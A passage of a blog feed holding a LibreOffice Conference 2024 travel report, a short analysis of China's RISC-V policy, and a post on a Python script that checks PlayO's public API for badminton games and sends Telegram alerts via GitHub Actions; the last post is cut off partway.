My breakfast was included in the hotel booking. The breakfast had many options. It had coffee and fruit juices, along with diverse food options. Some of the items I remember were croissant, pain au chocolat, brie (a type of cheese), scrambled eggs, boiled eggs, and various types of meat dishes. Other than this, there were fruits such as pears.

      
That circular pie in the center of the image is brie - a type of cheese - which I found delicious. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
Pre-conference, a day was reserved for the community meetup on the 9th of October. On that day, the community members introduced themselves and their contributions to the LibreOffice project. It acted as a brainstorming session. All the attendees got a lovely conference bag, which contained a T-Shirt, a pen and a few stickers. I also met my long time collaborators Mike, Sophie and Italo from the TDF, whom I had interacted only remotely till then. Likewise, I also met TDF’s sysadmin Guilhem, who I interacted before regarding setting up my LibreOffice mirror.

      
Lovely swag bag. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
The conference started on the 10th. There were 5 attendees from India, including me, while most of the attendees were from Europe. The talks were in English. One of the talks that stood out for me was about Luxchat — a chat service run by the Luxembourg government based on the Matrix protocol for the citizens of Luxembourg. I also liked Italo’s talk on why document formats must be freedom-respecting. On the first night, the conference took us to a nice dinner in a restaurant. It offered one more way to socialize with other attendees and explore food at the same time.

      
A slide from Italo's talk on document freedom. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.

      
Picture of the hall in which talks were held. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
On the 11th of October, I went for a walk in the morning with Biswadeep for some sightseeing around our hotel area. As a consequence, I missed the group photo of the conference, which I wanted to be in. Anyway, we enjoyed roaming around the picturesque Luxembourg city. We also sampled a tram ride to return to our hotel.

      
We encountered such scenic views during our walk. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.

      
Another view of Luxembourg city area. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
The conference ended on the 12th with a couple of talks. This conference gave me an opportunity to meet the global LibreOffice community, connect and share ideas. It also gave me a peek into the country of Luxembourg and its people, where I had good experience. English was widely known, and I had no issues getting by.
Thanks to all the organizers and sponsors of the conference!]]></description>
            <content:encoded><![CDATA[<p>Last year, I attended the annual <a href="https://conference.libreoffice.org/2024/">LibreOffice Conference in Luxembourg</a> with the help of a generous travel grant by The Document Foundation (TDF). It was a three-day event from the 10th to the 12th of October 2024, with an additional day for community meetup on the 9th.</p>
<p>Luxembourg is a small country in Western Europe. It is insanely wealthy with high living standards. After going through an <a href="https://ravidwivedi.in/posts/luxembourg-visa-process/">arduous visa process</a>, I got to the country on the 8th of October. Upon arriving in Luxembourg, I took a bus to the city center, where my hotel — Park Inn — was located. I deboarded the bus at the Luxembourg Central station. Before walking towards my hotel, I stopped to click a few pictures of the beautiful station.</p>
<p>All the public transport in Luxembourg was free of cost. The experience of being in Luxembourg was as if I had stepped in another world. The roads had separate tracks for cycling and separate lanes for buses, along with wide footpaths. In addition, the streets were pretty neat and clean.</p>
<figure><img src="https://ravidwivedi.in/images/luxembourg/luxembourg-airport.avif" width="700"><figcaption>
      <h4>Luxembourg&#39;s Findel Airport. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/luxembourg/cycling-tracks.avif" width="700"><figcaption>
      <h4>Separate cycling tracks in Luxembourg. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/luxembourg/a-road-in-luxembourg.avif" width="700"><figcaption>
      <h4>A random road in Luxembourg with separate lane for buses. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>The conference venue was in Belval, while I stayed in the city center. Even though my stay was 20 km from the conference venue, the commute was convenient thanks to free of cost train connections. The train rides were comfortable, smooth, and scenic, covering the distance in half an hour. Moreover, I never found the trains to be very crowded, which enabled me to always get a seat.</p>
<figure><img src="https://ravidwivedi.in/images/luxembourg/train.avif" width="700"><figcaption>
      <h4>This is what trains look like in Luxembourg. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/luxembourg/view-from-train.avif" width="700"><figcaption>
      <h4>The train ride from my hotel to the conference venue had some scenic views like this one on the way. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/luxembourg/tram.avif"><figcaption>
      <h4>A tram in Luxembourg with Luxembourg Central station in the background. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>My breakfast was included in the hotel booking. The breakfast had many options. It had coffee and fruit juices, along with diverse food options. Some of the items I remember were croissant, <em>pain au chocolat</em>, brie (a type of cheese), scrambled eggs, boiled eggs, and various types of meat dishes. Other than this, there were fruits such as pears.</p>
<figure><img src="https://ravidwivedi.in/images/luxembourg/brie.avif"><figcaption>
      <h4>That circular pie in the center of the image is brie - a type of cheese - which I found delicious. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>Pre-conference, a day was reserved for the community meetup on the 9th of October. On that day, the community members introduced themselves and their contributions to the LibreOffice project. It acted as a brainstorming session. All the attendees got a lovely conference bag, which contained a T-Shirt, a pen and a few stickers. I also met my long time collaborators Mike, Sophie and Italo from the TDF, whom I had interacted only remotely till then. Likewise, I also met TDF&rsquo;s sysadmin Guilhem, who I interacted before regarding setting up my LibreOffice mirror.</p>
<figure><img src="https://ravidwivedi.in/images/luxembourg/conference-bag.avif" width="500"><figcaption>
      <h4>Lovely swag bag. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>The conference started on the 10th. There were 5 attendees from India, including me, while most of the attendees were from Europe. The talks were in English. One of the talks that stood out for me was about Luxchat — a chat service run by the Luxembourg government based on the Matrix protocol for the citizens of Luxembourg. I also liked Italo&rsquo;s talk on why document formats must be freedom-respecting. On the first night, the conference took us to a nice dinner in a restaurant. It offered one more way to socialize with other attendees and explore food at the same time.</p>
<figure><img src="https://ravidwivedi.in/images/luxembourg/italo-slide.avif" width="700"><figcaption>
      <h4>A slide from Italo&#39;s talk on document freedom. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/luxembourg/auditorium.avif" width="700"><figcaption>
      <h4>Picture of the hall in which talks were held. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>On the 11th of October, I went for a walk in the morning with Biswadeep for some sightseeing around our hotel area. As a consequence, I missed the group photo of the conference, which I wanted to be in. Anyway, we enjoyed roaming around the picturesque Luxembourg city. We also sampled a tram ride to return to our hotel.</p>
<figure><img src="https://ravidwivedi.in/images/luxembourg/a-view-of-luxembourg.avif" width="700"><figcaption>
      <h4>We encountered such scenic views during our walk. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/luxembourg/view-in-luxembourg.avif" width="700"><figcaption>
      <h4>Another view of Luxembourg city area. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.</h4>
    </figcaption>
</figure>

<p>The conference ended on the 12th with a couple of talks. This conference gave me an opportunity to meet the global LibreOffice community, connect and share ideas. It also gave me a peek into the country of Luxembourg and its people, where I had good experience. English was widely known, and I had no issues getting by.</p>
<p>Thanks to all the organizers and sponsors of the conference!</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[RISC-ing It: An incoming landscape shift?]]></title>
            <link>https://www.divyamohan.com/riscing-it/</link>
            <guid isPermaLink="false">https://www.divyamohan.com/riscing-it/</guid>
            <pubDate>Thu, 06 Mar 2025 14:27:33 GMT</pubDate>
            <description><![CDATA[The implications of China's RISC-V strategy on global semiconductor and open source ecosystems.]]></description>
            <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2025/03/pexels-waterhouse-3665442.jpg" alt="RISC-ing It: An incoming landscape shift?"><p>A couple of days back, Reuters <a href="https://www.reuters.com/technology/china-publish-policy-boost-risc-v-chip-use-nationwide-sources-2025-03-04/?utm_campaign=trueAnthem%3A+Trending+Content&amp;utm_medium=trueAnthem&amp;utm_source=facebook&amp;fbclid=IwY2xjawIzm4ZleHRuA2FlbQIxMQABHYUTWjNcNsqfrzdqUayqUJ8KYAgYiSIGw85M8ogmzHX_ZCPsRJ7kO81YnQ_aem_WIxJkgTEPS0Y8VngICDDSQ" rel="noreferrer">reported</a> China&apos;s plans to issue guidance encouraging the use of open source RISC-V chips nationwide, in a bid to reduce dependence on western-owned technologies. Given the state of affairs today, this could have significant implications on the global open source and semiconductor ecosystems.</p><h2 id="what-is-risc-v">What is RISC-V?</h2><p>Pronounced as Risk-five, <a href="https://github.com/riscv" rel="noreferrer">RISC-V</a> is an open standard instruction set architecture based on <a href="https://en.wikipedia.org/wiki/Reduced_instruction_set_computer" rel="noreferrer">Reduced Instruction Set Architecture</a> (RISC) principles. Owing to its open source nature, it&apos;s deemed an attractive option in comparison with more proprietary alternatives that dominate the ISA space.</p><h2 id="chinas-risc-v-stance">China&apos;s RISC-V stance</h2><p>According to Reuters, China&apos;s decision to promote RISC-V nationwide is part of a broader strategy to enhance its <a href="https://jamestown.org/program/examining-chinas-grand-strategy-for-risc-v/" rel="noreferrer">semiconductor self-reliance and promote technological autonomy</a>. The policy, expected to be released soon, will be drafted by several key government bodies, including the Ministry of Industry and Information Technology and the Cyberspace Administration of China. This move reflects China&apos;s commitment to leveraging RISC-V as a geopolitically neutral technology to reduce its reliance on US-dominated semiconductor standards.</p><h2 id="impact-on-the-global-open-source-ecosystem">Impact on the global open source ecosystem</h2><p>While its open source nature encourages a collaborative environment contributing to the evolution of the ISA &amp; related extensions, as well as promoting adoption, <a href="https://itif.org/publications/2024/07/19/the-us-china-tech-conflict-fractures-global-technical-standards/" rel="noreferrer">existing geopolitical tensions between the West &amp; China</a> could lead to a RISC-V ecosystem that is fractured at its core. </p><p>This is because, as explored in <a href="https://thenewstack.io/open-source-is-not-local-source-and-the-case-for-global-cooperation/" rel="noreferrer">this New Stack Article</a> by Amanda Brock earlier this year, laws trump licensing. Since open source is subject to the laws of the land, these tensions (<a href="https://en.wikipedia.org/wiki/China&#x2013;United_States_trade_war" rel="noreferrer">potential sanctions and/or tariffs</a>) could also lead to different countries developing and maintaining their versions of RISC-V. Not only would this impede interoperability and future adoption, but it would also affect further upstream development reliant on a diverse global community, complicating standardization and maturity.</p><p>In conclusion, China&apos;s upcoming RISC-V policy will have profound implications for the global tech ecosystem, influencing both the open source community and the broader semiconductor industry supply chain. While presenting opportunities for greater diversity and collaboration, there&apos;s also the looming threat of a fragmented ecosystem and delayed maturity, due to existing global tensions. </p><p></p><p></p><p></p><p></p>]]></content:encoded>
            <author>Divya Mohan</author>
            <category>policy</category>
            <category>tech</category>
            <category>Open Source</category>
            <enclosure url="https://storage.ghost.io/c/17/2b/172bf1de-7100-4e16-8c2e-8eed6330ac91/content/images/2025/03/pexels-waterhouse-3665442.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Automating Badminton Game Alerts]]></title>
            <link>https://mrkaran.dev/posts/playo-badminton/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/playo-badminton/</guid>
            <pubDate>Mon, 03 Mar 2025 18:40:55 GMT</pubDate>
            <description><![CDATA[I’ve been playing badminton more regularly since the start of 2025 - almost 4-5 days a week. I recently moved to a new part of the city, which meant I couldn’t play with my old friends anymore. PlayO has been super helpful for finding games with new people. On PlayO, a host creates a game and up to 6 people can join one court for a one-hour badminton doubles session.
However, on hectic days I would often forget to check for badminton games, only to find them fully booked later. I wanted to automate this process by creating a small script that would send me scheduled alerts about today’s game availability, allowing me to book slots before they filled up. I drew inspiration from Matt’s post where he did something similar.
Thankfully, PlayO has a public API endpoint to retrieve a list of available games: https://api.playo.io/activity-public/list/location.
You can send a POST request to this URL with these parameters for filtering:
{
  "lat": 12.9783692,
  "lng": 77.6408356,
  "cityRadius": 5,
  "gameTimeActivities": false,
  "page": 0,
  "lastId": "",
  "sportId": ["SP5"],
  "booking": false,
  "date": ["2025-03-04T11:03:17.260Z"]
}
It returns a list of activities matching these filters. One such activity looks like:
{
  "userInfo": [
    {
      "profilePicUrl": "https://playov2.gumlet.io/profiles/redacted.511716.jpg",
      "fName": "Redacted",
      "lName": "",
      "karma": 2800
    },
    {
      "profilePicUrl": "https://playov2.gumlet.io/profiles/redacted-redacted.png",
      "fName": "redacted",
      "lName": "N",
      "karma": 499
    }
  ],
  "isPlayoGame": false,
  "skill": "Intermediate & above",
  "sportName": "Badminton",
  "shortListed": false,
  "joineeList": [
    "7f3cf298-3324-4fc2-96ad-b0f00093cd8f",
    "250572a2-555d-4a77-94f0-452142c08f81",
    "cc3b9eb6-a3b5-4c26-8605-0486fa000a4b",
    "8d5d4299-950b-4011-a7ac-b466b1c00e84",
    "235ae56d-6f4f-4106-9304-fb38e7d4add8"
  ],
  "isPlaypalPlaying": false,
  "lat": 12.976394040119704,
  "lng": 77.63644146986815,
  "location": "Game Theory - Double Road Indiranagar, Indiranagar",
  "joineeCount": 6,
  "status": -1,
  "sportsPlayingMode": {
    "name": "",
    "icon": ""
  },
  "maxPlayers": 7,
  "full": false,
  "price": 0,
  "startTime": "2025-03-04T13:30:00.000Z",
  "endTime": "2025-03-04T15:30:00.000Z",
  "minSkill": 3,
  "maxSkill": 5,
  "skillSet": true,
  "booking": false,
  "bookingId": "",
  "type": 0,
  "venueId": "82af038f-058c-4b2f-bc3d-3a47910d4f97",
  "venueName": "Game Theory - Double Road Indiranagar, Indiranagar",
  "activityType": "regular",
  "isOnline": false,
  "groupId": "",
  "groupName": "",
  "currencyTxt": "INR",
  "strictSkill": true,
  "date": "2025-03-04T00:00:00.000Z",
  "hostId": "redacted",
  "sportId": "SP5",
  "timing": 2,
  "id": "e2ee9f62-c9b6-472b-aea2-b0c52dd7c525",
  "distance": 0.5249236963063415,
  "courtInfo": "",
  "sponsored": false,
  "groups": []
}
Using the above response, I filtered for games where:
full is false (This indicates that joineeCount == maxPlayer is not true, meaning spots are still available to join)
startTime and endTime fall within 7-8PM IST
I also wanted to add a feature to send these details to Telegram for convenient notifications. I then vibe coded with Claude 3.7 to create a Python script to automate this whole process. Impressively, it produced a working script pretty much in a one-shot prompt, though I had to make a few minor tweaks. I quite like Simon Willison’s approach of using uv to build one-shot tools. Managing dependencies, virtual environments, etc. is still a pain point in Python, but using uv feels like magic by comparison.
# /// script
# requires-python = ">=3.12"
# dependencies = [
#     "click",
#     "requests",
#     "pytz",
#     "rich",
#     "python-dateutil",
#     "python-telegram-bot",
# ]
# ///

import click
import requests
import json
import datetime
import pytz
import os
import sys
from rich.console import Console
from rich.table import Table
from dateutil import parser
from telegram import Bot, InputMediaPhoto
from telegram.constants import ParseMode
from io import BytesIO
import asyncio

console = Console()

@click.command()
@click.option("--lat", default=12.9783692, help="Latitude for search")
@click.option("--lng", default=77.6408356, help="Longitude for search")
@click.option("--radius", default=50, help="City radius in km")
@click.option("--sport", default="SP5", help="Sport ID (default: SP5 for Badminton)")
@click.option("--start-time", default="19:00", help="Desired start time (24-hour format HH:MM)")
@click.option("--end-time", default="20:00", help="Desired end time (24-hour format HH:MM)")
@click.option("--timezone", default="Asia/Kolkata", help="Your timezone")
@click.option("--verbose", is_flag=True, help="Show detailed information including exact UTC/IST times")
@click.option("--include-full", is_flag=True, help="Include games that are full")
@click.option("--telegram", is_flag=True, help="Send results to Telegram")
@click.option("--telegram-token", envvar="TELEGRAM_BOT_TOKEN", help="Telegram Bot Token (or set TELEGRAM_BOT_TOKEN env var)")
@click.option("--telegram-chat-id", envvar="TELEGRAM_CHAT_ID", help="Telegram Chat ID (or set TELEGRAM_CHAT_ID env var)")
def find_games(lat, lng, radius, sport, start_time, end_time, timezone, verbose, include_full, telegram, telegram_token, telegram_chat_id):
    """Find available badminton games on Playo matching your criteria."""
    # Get today's date in the specified timezone
    local_tz = pytz.timezone(timezone)
    now = datetime.datetime.now(local_tz)
    today_date = now.strftime("%Y-%m-%dT%H:%M:%S.%fZ")

    # Parse desired time window
    try:
        desired_start = datetime.datetime.strptime(start_time, "%H:%M").time()
        desired_end = datetime.datetime.strptime(end_time, "%H:%M").time()
    except ValueError:
        console.print("[bold red]Error:[/bold red] Invalid time format. Please use HH:MM (24-hour format).")
        return

    console.print(f"[bold green]Searching for badminton games around your location...[/bold green]")
    console.print(f"Looking for games between [bold]{start_time}[/bold] and [bold]{end_time}[/bold] IST today")

    if verbose:
        console.print(f"[dim]Search parameters: lat={lat}, lng={lng}, radius={radius}km[/dim]")
        console.print(f"[dim]Current time in {timezone}: {now.strftime('%Y-%m-%d %H:%M:%S')}[/dim]")

    # Prepare API request
    url = "https://api.playo.io/activity-public/list/location"
    payload = {
        "lat": lat,
        "lng": lng,
        "cityRadius": radius,
        "gameTimeActivities": False,
        "page": 0,
        "lastId": "",
        "sportId": [sport],
        "booking": False,
        "date": [today_date]
    }

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }

    try:
        response = requests.post(url, headers=headers, json=payload)
        response.raise_for_status()
        data = response.json()

        if data.get("requestStatus") != 1 or "data" not in data:
            console.print("[bold red]Error:[/bold red] Failed to get valid response from Playo API")
            return

        # Process activities
        activities = data["data"].get("activities", [])
        if not activities:
            console.print("[yellow]No badminton activities found for today[/yellow]")
            return

        # Filter activities based on criteria
        matching_games = []

        for activity in activities:
            # Convert UTC times to local timezone
            start_time_utc = parser.parse(activity["startTime"])
            end_time_utc = parser.parse(activity["endTime"])

            start_time_local = start_time_utc.astimezone(local_tz)
            end_time_local = end_time_utc.astimezone(local_tz)

            # Print all times in debug mode
            # console.print(f"DEBUG: {activity.get('location', 'Unknown')} - Start: {start_time_local.strftime('%H:%M')} IST (UTC: {start_time_utc.strftime('%H:%M')})")

            # Convert time objects correctly for comparison
            start_hour = start_time_local.hour
            start_minute = start_time_local.minute

            # Convert desired times to hours and minutes for easier comparison
            desired_start_hour = desired_start.hour
            desired_start_minute = desired_start.minute
            desired_end_hour = desired_end.hour
            desired_end_minute = desired_end.minute

            # Check if this game starts at 7PM (19:00) and ends at 8PM (20:00)
            is_time_match = False

            # Get duration in minutes
            duration_minutes = ((end_time_local.hour * 60 + end_time_local.minute) -
                               (start_time_local.hour * 60 + start_time_local.minute))

            # Check if start time is 7PM (with small tolerance)
            if (start_hour == desired_start_hour and
                start_minute >= desired_start_minute and
                start_minute < desired_start_minute + 10):  # Allow a small window of 10 minutes

                # Check if duration is approximately 1 hour (between 50-70 minutes)
                if 50 <= duration_minutes <= 70:
                    is_time_match = True

            # Check if there are available slots
            is_available = (
                not activity.get("full", True) and
                (activity.get("maxPlayers", 0) == -1 or
                 activity.get("joineeCount", 0) < activity.get("maxPlayers", 0))
            )

            # When verbose, print time details for each game to help debug
            if verbose:
                time_info = f"[dim]{activity.get('location', 'Unknown')} - Start: {start_time_local.strftime('%H:%M')} IST ({start_time_utc.strftime('%H:%M')} UTC), " + \
                           f"End: {end_time_local.strftime('%H:%M')} IST, Duration: {duration_minutes} min, " + \
                           f"Time match: {'Yes' if is_time_match else 'No'}, Available: {'Yes' if is_available else 'No'}[/dim]"
                console.print(time_info)

            # Both conditions must be true
            if is_time_match and is_available:
                matching_games.append({
                    "id": activity["id"],
                    "location": activity["location"],
                    "venue_name": activity.get("venueName", "N/A"),
                    "start": start_time_local.strftime("%I:%M %p"),
                    "end": end_time_local.strftime("%I:%M %p"),
                    "players": f"{activity.get('joineeCount', 0)}/{activity.get('maxPlayers', 'unlimited')}",
                    "host": activity.get("userInfo", [{}])[0].get("fName", "Unknown"),
                    "skill": activity.get("skill", "Any"),
                    "price": f"{activity.get('price', 0)} {activity.get('currencyTxt', 'INR')}"
                })

        # Display results
        if matching_games:
            table = Table(title=f"Available Badminton Games ({len(matching_games)} matches found)")

            table.add_column("Location", style="cyan")
            table.add_column("Time", style="green")
            table.add_column("Players", style="yellow")
            table.add_column("Host", style="magenta")
            table.add_column("Skill Level", style="blue")
            table.add_column("Link", style="bright_blue")

            for game in matching_games:
                table.add_row(
                    f"{game['venue_name']}",
                    f"{game['start']} - {game['end']}",
                    game["players"],
                    game["host"],
                    game["skill"],
                    f"https://playo.co/match/{game['id']}"
                )

            console.print(table)

            # Send to Telegram if requested
            if telegram:
                if not telegram_token or not telegram_chat_id:
                    console.print("[bold red]Error:[/bold red] Telegram token and chat ID are required for Telegram notifications")
                    console.print("[dim]Set them with --telegram-token and --telegram-chat-id or via environment variables[/dim]")
                else:
                    try:
                        send_to_telegram(matching_games, telegram_token, telegram_chat_id)
                        console.print("[green]Results sent to Telegram successfully![/green]")
                    except Exception as e:
                        console.print(f"[bold red]Error sending to Telegram:[/bold red] {e}")
        else:
            console.print("[yellow]No games found matching your criteria[/yellow]")
            if telegram and telegram_token and telegram_chat_id:
                try:
                    asyncio.run(send_telegram_message(
                        "No badminton games found matching your criteria for today.",
                        telegram_token,
                        telegram_chat_id
                    ))
                    console.print("[green]Empty results notification sent to Telegram[/green]")
                except Exception as e:
                    console.print(f"[bold red]Error sending to Telegram:[/bold red] {e}")

    except requests.RequestException as e:
        console.print(f"[bold red]Error:[/bold red] Failed to connect to Playo API: {e}")
    except json.JSONDecodeError:
        console.print("[bold red]Error:[/bold red] Failed to parse API response")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] An unexpected error occurred: {e}")

def send_to_telegram(games, token, chat_id):
    """Send game information to Telegram as a nicely formatted message."""
    if not games:
        return

    # Create a formatted message for Telegram
    message = "🏸 *Available Badminton Games* 🏸\n\n"

    for i, game in enumerate(games, 1):
        message += f"*{i}. {game['venue_name']}*\n"
        message += f"⏰ {game['start']} - {game['end']}\n"
        message += f"👥 Players: {game['players']}\n"
        message += f"👤 Host: {game['host']}\n"
        message += f"🎯 Skill: {game['skill']}\n"
        message += f"🔗 [Join Game](https://playo.co/match/{game['id']})\n\n"

    # Send the message
    asyncio.run(send_telegram_message(message, token, chat_id))

async def send_telegram_message(message, token, chat_id):
    """Send a message to Telegram using the Bot API."""
    bot = Bot(token=token)
    await bot.send_message(
        chat_id=chat_id,
        text=message,
        parse_mode=ParseMode.MARKDOWN,
        disable_web_page_preview=False
    )


if __name__ == "__main__":
    find_games()
The script outputs a beautiful output:

Telegram:

Scheduling#
I wanted this script to run reliably every day and used GitHub Actions for that.
GitHub Actions felt like the path of least resistance as I didn’t have to worry about keeping a server running or getting alerts if something crashed. For a small personal script like this, it was the perfect “set it and forget it” solution.
name: Badminton Game Checker Base
on:
  schedule:
    # Run Monday to Friday at 12:00 PM IST (6:30 AM UTC)
    - cron: "30 6 * * 1-5"

jobs:
  check-games:
    runs-on: ubuntu-latest

    env:
      TELEGRAM_BOT_TOKEN: ${{ secrets.TELEGRAM_BOT_TOKEN }}
      TELEGRAM_CHAT_ID: ${{ secrets.TELEGRAM_CHAT_ID }}
      LATITUDE: ${{ inputs.latitude }}
      LONGITUDE: ${{ inputs.longitude }}
      RADIUS: ${{ inputs.radius }}
      SPORT_ID: ${{ inputs.sport_id }}
      TIMEZONE: ${{ inputs.timezone }}
      START_TIME: ${{ inputs.start_time }}
      END_TIME: ${{ inputs.end_time }}

    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: "3.12"
          cache: "pip"

      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          pip install uv

      - name: Run game check
        run: |
          echo "Checking for games from $START_TIME to $END_TIME"
          uv run finder.py \
            --lat "$LATITUDE" \
            --lng "$LONGITUDE" \
            --radius "$RADIUS" \
            --sport "$SPORT_ID" \
            --timezone "$TIMEZONE" \
            --start-time "$START_TIME" \
            --end-time "$END_TIME" \
            --telegram
        env:
          TELEGRAM_BOT_TOKEN: ${{ secrets.TELEGRAM_BOT_TOKEN }}
          TELEGRAM_CHAT_ID: ${{ secrets.TELEGRAM_CHAT_ID }}
I used GitHub Actions inputs to configure the variables for my script. Found this feature to be quite neat for scheduling different crons for weekday/weekends.

Summary#
For small quality-of-life improvements - solving your own specific problems with custom scripts tailored exactly to your needs - gotta love the LLMs man. We’re gonna see more and more of such “personal tooling” in future as the entry to barrier for coding is lowered with LLMs. The democratization of coding through LLMs means people (even non-technical ones) can focus on “describing” the problem well, rather than struggling with implementation details. Being able to articulate what you want clearly becomes the primary skill - yes, it’s a skill issue if you can’t prompt well, but it’s far more accessible than learning programming from scratch.
Fin!]]></description>
            <content:encoded><![CDATA[<p>I’ve been playing badminton more regularly since the start of 2025 - almost 4-5 days a week. I recently moved to a new part of the city, which meant I couldn’t play with my old friends anymore. <a rel="external" href="https://playo.co/">PlayO</a> has been super helpful for finding games with new people. On PlayO, a host creates a game and up to 6 people can join one court for a one-hour badminton doubles session.</p>
<p>However, on hectic days I would often forget to check for badminton games, only to find them fully booked later. I wanted to automate this process by creating a small script that would send me scheduled alerts about today’s game availability, allowing me to book slots before they filled up. I drew inspiration from <a rel="external" href="https://mattrighetti.com/2025/03/03/reverse-engineering-playtomic">Matt’s</a> post where he did something similar.</p>
<p>Thankfully, PlayO has a public API endpoint to retrieve a list of available games: <code>https://api.playo.io/activity-public/list/location</code>.</p>
<p>You can send a <code>POST</code> request to this URL with these parameters for filtering:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="json"><span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lat</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 12.9783692</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lng</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 77.6408356</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">cityRadius</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">gameTimeActivities</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">page</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">lastId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">sportId</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">SP5</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">booking</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">date</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2025-03-04T11:03:17.260Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>It returns a list of activities matching these filters. One such activity looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="json"><span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">  &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">userInfo</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span> [</span></span>
<span class="giallo-l"><span>    {</span></span>
